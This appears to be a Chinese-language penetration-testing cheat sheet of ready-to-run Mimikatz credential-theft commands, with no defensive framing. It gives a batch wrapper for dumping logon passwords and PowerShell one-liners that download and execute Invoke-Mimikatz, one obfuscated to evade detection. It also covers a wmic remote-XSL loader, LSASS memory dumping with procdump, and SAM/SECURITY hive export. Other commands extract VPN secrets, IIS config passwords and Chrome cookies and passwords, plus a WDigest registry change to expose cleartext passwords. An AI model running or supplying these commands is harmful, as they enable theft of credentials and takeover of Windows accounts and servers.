一、獲取密碼#
privilege::debug sekurlsa::logonpasswords mimikatz.exe "sekurlsa::debug" "sekurlsa::logonPasswords full" >>1.txt exit
一般我會使用bat
@echo off
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit>C:\programdata\1.txt
二、powershell獲取密碼#
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
三、混淆#
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttps://raw.gith'+'ubus'+'erco'+'ntent.com/matt'+'ife'+'stati'+'on/Power'+'Sploit/ma'+'ster/Exfil'+'tration/Invok'+'e-Mi'+'mikatz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"四、wmic獲取密碼#
wmic os get /format:"https://gist.githubusercontent.com/manasmbellani/7f3e39170f5bc8e3a493c62b80e69427/raw/87550d0fc03023bab99ad83ced657b9ef272a3b2/mimikatz.xsl"五、procdump離線獲取密碼#
procdump64.exe -accepteula -ma lsass.exe 1.dmp mimikatz.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit六、使用注冊表來離線導出Hash#
reg save HKLM\SYSTEM system.hiv reg save HKLM\SAM sam.hiv reg save hklm\security security.hiv mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit七、vpn密碼獲取#
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit vpn八、讀取IIS7配置文件密碼#
mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit九、獲取瀏覽器的密碼和cookie信息#
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\USERDA~1" exit mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit # 讀chrome密碼十、2012服務器 mimikatz獲取密碼#
修改注冊表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1 服務器鎖屏 rundll32.exe user32.dll,LockWorkStation